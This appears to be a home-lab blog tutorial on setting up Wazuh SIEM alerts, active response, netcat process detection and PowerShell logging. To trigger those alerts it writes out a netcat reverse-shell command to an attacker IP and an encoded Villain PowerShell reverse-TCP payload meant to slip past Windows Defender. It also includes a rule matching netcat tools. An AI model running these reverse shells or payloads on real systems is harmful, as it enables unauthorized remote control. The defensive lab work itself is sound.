Empowering Cybersecurity Vigilance through Wazuh

Testing Alerts

Let’s test a situation where someone is trying to log in to the admin account of the domain controller with random passwords. We want to see if Wazuh picks up the failed log in attempts.

Go back to the windows server. Log out and try to log in with an incorrect password a few times.

Then, go back to the Wazuh dashboard and click on the name of the Windows machine in the Agents list. For me its " HomeLab-AD"

Then from the menu, select “Security Events.”

Scroll down and you should see the failed log in attempts. Of course, password policies can be put in place to prevent brute-forcing passwords but this is just for demonstration.

If we click on the alert it will give more details about the event.

Vulnerability detection

Wazuh uses the Vulnerability Detector module to identify vulnerabilities in applications and operating systems running on endpoints. Go to the Wazuh dashboard and click on the name of the Windows machine in the Agents list. I am selecting "HomeLab-AD" then click on "Vulnerabilities". It should display all the vulnerabilities of that machine.

Threat Detection and Active Response

Detection

I’m going to attempt to ssh into the Suricata server with an incorrect username and password.

In the Wazuh dashboard, under the security events for the Suricata server, the event is recorded.

Click on the alert to expand the menu. Click on “JSON” to see more information such as the source IP and the username attempted.

Active Response

Next, we’re going to have Wazuh respond to this sort of attack by dropping the packets.

Make note of the rule ID for this alert which is 5710 in this case.

From the menu in the top-left, go to “Management” then “Configuration. Then click “Edit Configuration.”

Scroll down to the “Active-Response” section of the XML.

Scroll to the bottom of this section and add the following lines:

<active-response>

<command>firewall-drop</command>

<location>localhost</location>

<rules_id>5710</rules_id>

<timeout>180</timeout>

</active-response>

When done, the XML should look like this:

Then save the configuration and restart the manager.

Confirming Threat Mitigation

Attempt to ssh into the Suricata server again. After entering the wrong password, the terminal should hang for a while. Then, the connection should time out. This indicates the packets were dropped altogether by Wazuh. To confirm we can try to ping the machine, even ping wont work for 180 seconds.

let's check our Wazuh

Great news! Our active response is functioning effectively with the Suricata integration. Feel free to edit or customize it as needed to align with our requirements or preferences.

Detecting Unauthorized processes

Endpoint = Ubuntu

Attack machine = Kali

Attack method = Using netcat

My Ubuntu victim machine ip

My attacker machine IP

Lets create a backdoor using simple netcat commands

First start a listener on Kali.

Sudo su (to become root, you can use sudo as well)

nc -l -p 8080

So we are starting netcat listener to port 8080 to listen for any incoming connection.

Now lets switch to Ubuntu and type in the terminal

sudo ncat 10.0.10.2 8080 -e /bin/bash ( you can try nc instead of ncat, for me nc version didnt had -e or -c)

So here we are sending commands through netcat to connect to the ip address of our kali machine on port 8080 and execute a shell. We could use /bin/sh or /bin/dash. All should work. Now lets see on Kali. Voila!! we are connected to the our Ubuntu machine, we have control of that machine and can do what ever we want on that machine.

While all this happening lets see if our Wazuh SIEM picked up anything or not?

Nothing, since we haven't set it up to pick up this untheorized process.

In order to do so we have to add the following configuration to our Wazuh agent and Server

Add the following configuration block to the Wazuh agent /var/ossec/etc/ossec.conf file. This allows to periodically get a list of running processes:

<ossec_config>

<localfile>

<log_format>full_command</log_format>

<alias>process list</alias>

<command>ps -e -o pid,uname,command</command>

<frequency>30</frequency>

</localfile>

</ossec_config>

Restart the Wazuh agent to apply the changes:

$ sudo systemctl restart wazuh-agent

Add the following rules to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server:

<group name="ossec,">

<rule id="100050" level="0">

<if_sid>530</if_sid>

<match>^ossec: output: 'process list'</match>

<description>List of running processes.</description>

<group>process_monitor,</group>

</rule>

<rule id="100051" level="7" ignore="900">

<if_sid>100050</if_sid>

<match>nc|ncat|netcat</match>

<description>netcat listening for incoming connections.</description>

<group>process_monitor,</group>

</rule>

</group>

Restart the Wazuh manager to apply the changes:

$ sudo systemctl restart wazuh-manager

Attack Emulation:

On the monitored Ubuntu endpoint, run nc -l 8000 for 30 seconds as local user. And run ncat 10.0.10.2 8080 -e /bin/sh

as root or vice versa on separate window. This should create two alert on our Wazuh. Lets check it

if we look inside it should have the process list where we can see which user ran the command.

Now based on the scenario and playbook, we can formulate a response for this incident. Next, we will investigate the same process on windows machine through PowerShell logs.

Enable and Send PowerShell logs to Wazuh

Before enabling it lets see why it is important to collect PowerShell logs.

For this demo purpose I am going to use my Win10 VM which is connected to my AD. My Kali machine as the attacker. And I am going to use Villain as the tool to create malicious power shell codes and gain access to WIN machine .

Lets begin:

First I have manually downloaded and installed Villain on my kali machine form https://github.com/t3l3machus/Villain. Please read and check through the page before you install any third party software. Once you are satisfied, install it at your own risk. Installation is pretty simple just follow the steps form that page or form John Hammond youtube video https://www.youtube.com/watch?v=pTUggbSCqA0&ab_channel=JohnHammond.

Once installation completed lets start Villain. To start lets first go the the villain folder and run villain.py file.

cd ~/Downloads/Villain

./Villain.py

if it doesn't work we might need to set executable permission to the file

sudo chmod +x Villain.py

Now try ./Villain.py again

Type "help" to see all the commands. Type " help generate" to see command to create a payload for windows machine

Following the example I am creating a payload as below

generate payload=windows/netcat/powershell_reverse_tcp lhost=eth0 encode

In this example, a payload is generated for Windows using the PowerShell reverse TCP template, with the local host (lhost) set to "eth0" (replace with your interface name or IP address). Encoding is applied to obfuscate the command, preventing Windows Defender Firewall from blocking it. After execution, you should obtain a backdoor payload.

Now we need to run this command on PowerShell on windows machine. We can insert this payload to a image/word/pdf file or convert this to an exe file. But for this lab purpose I will just copy paste it using simple HTTP server in python.

First lets copy this code to another folder empty folder. I have created a folder named Payloads inside my Downloads folder. Now type echo copied payload > dontopenit.ps1 file name could be anything but I choose ps1 for PowerShell extension. Check the file.

Now lets start HTTP server on this folder

Now, visit this site from your Windows machine by typing your Kali machine's IP address followed by ":8001" (in my case, it's 10.0.10.2) to access that page.

Download the file. If you encounter any blocking messages, be sure to click the "Keep the file" button. After downloading, navigate to the download folder, right-click on the file, and run it with PowerShell. Note that Windows Defender is active.

One PowerShell window will open and close, nothing else will happen. But if we check on our Kali machine on Villain window we should see msg Backdoor session established on 10.10.20.3. Type `sessions` it should show us Session ID, IP, OS, USER, STATUS.

Now copy the Session ID and type `shell Session ID`. It should start a shell on the Victim's windows machine. We have penetrated windows machine and successfully created a backdoor on that machine.

For any business, organization, or individual, encountering a security breach is a nightmare scenario. Protecting our data at all costs is imperative. One effective way to detect and prevent such issues early is by enabling PowerShell logging.

The following steps outline how to enable PowerShell logs and forward them to our Wazuh SIEM with alerts:

1. Install PowerShell 5.0 or a later version if not already installed.

2. Enable PowerShell logging through Group Policy Objects (GPO).

3. Configure the Wazuh Agent to capture PowerShell logs.

4. Create specific rules on the Wazuh Manager for handling PowerShell logs.

5. Monitor and analyze PowerShell activity within the Wazuh interface.

First, Lets log in to our Windows Active Directory server and start Group Policy Management

Right click on Group Policy Objects and select New, name the new GPO

Now right click on the newly created GPO and select Edit, which should open Group Policy Management Editor window. Then follow below route Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell

Next, double click on Turn on Module Logging. It should open of a window, you should read through to learn about it. Then enable it. On the Module names click on "Show". Since PowerShell has many modules I am going to set value ''*" .Which should select all modules. Then click OK and Ok again.

Next for Turn on PowerShell Script Block Logging, I am going to enable it.

For " Turn on Script Executing" I am going to leave it as is, but you can modify it if want to stop or only allow local script execution.

Next I will enable Turn on PowerShell Transcription. Once done it should look like this

Lets close all the windows and update this via CMD terminal.

To confirm it whether it is working or not, lets open 'event viewer' on our windows 10 VM machine

There is nothing here. Lets open PowerShell and run a simple command "Get-Process". It should generate some logs at Event Viewer, even just opening the PowerShell itself should generate some logs. Right click 'Refresh' event viewer window to display the logs .

If we look through we should be able to see the command that got executed

So our log collection is working, now we need to send this log to our Wazuh SIEM so it can generate alert.

Wazuh SIEM configuration

In order to do that lets first log into our Wazuh dashboard then go to Management and Groups. We should have three groups there click on AD_machines group. On your machine it could be default group or whatever name you gave the group before. Click on that group and select files and click on the pencil icon next to agent.conf to edit it.

Add below rule to the file and save it. Basically you are asking Wazuh to pull PowerShell logs as well. Click Save.

<localfile>

<location>Microsoft-Windows-PowerShell/Operational</location>

<log_format>eventchannel</log_format>

</localfile>

Now its time to create some custom rules so Wazuh can generate some alerts when PowerShell is executed.

Go to Management again and click on Rules, then select Manage rules files and click on Custom rules on the very right top. Click on the pencil icon next to local_rules.xml file. Add below custom rules to the file. These are some custom rules but you can add as many rules as you want depending on your need. But for this test purpose I am going to stick with these rules.

<rule id="100535" level="5">

<if_sid>60009</if_sid>

<field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

<group>powershell,</group>

<description>Powershell Information EventLog</description>

</rule>

<rule id="100536" level="7">

<if_sid>60010</if_sid>

<field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

<group>powershell,</group>

<description>Powershell Warning EventLog</description>

</rule>

<rule id="100537" level="10">

<field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

<field name="win.system.severityValue">^ERROR$</field>

<group>powershell,</group>

<description>Powershell Error EventLog</description>

</rule>

<rule id="100538" level="13">

<if_sid>60012</if_sid>

<field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

<group>powershell,</group>

<description>Powershell Critical EventLog</description>

</rule>

</group>

Once done save the file and restart the manager. It will take little bit time to load it.

Now lets see whether Wazuh pulls the log and displays the PowerShell command or not.

on Windows 10 VM do a command on PowerShell, Let say "Get-service" which should show all the services in the system.

Now refresh wazuh dashboard and pull up Security Events for winVictim ( whatever name you windows machine is) we should see some logs of PowerShell. We can also the see command that ran on the machine.

So far its amazing! Wazuh is being great. Now lets see what happens when we execute an encoded malicious backdoor command which our defender couldn't even detect.

Start Villain again on Kali.

Now on Windows 10 machine lets run that same PS1 file again which we downloaded earlier. (incase you are wondering, look up).

In Kali linux window we should see a Backdoor session started. Lets take the session ID and shell it to that ID. Now we are in the victim's windows 10 machine.

Lets run any PowerShell command to see whether its working or not.

Its pulling data form the Victim's machine. Now lets go back to our Wazuh and see if it collected all of this or not.

Beautiful! We can see that Wazuh gathered all the logs and even identified the executed script. The decoded entry provides details such as the IP address and the connecting port. This is invaluable; now we can block this IP through our firewall and set up an active response for the future if a similar command ever gets executed in our system.

Wazuh is an amazing tool for security enthusiasts. I thoroughly enjoyed this lab and hope I explained it clearly. If you have any questions, doubts, or corrections, please reach out to me via the "Keep in Touch" form on the homepage. Thank you.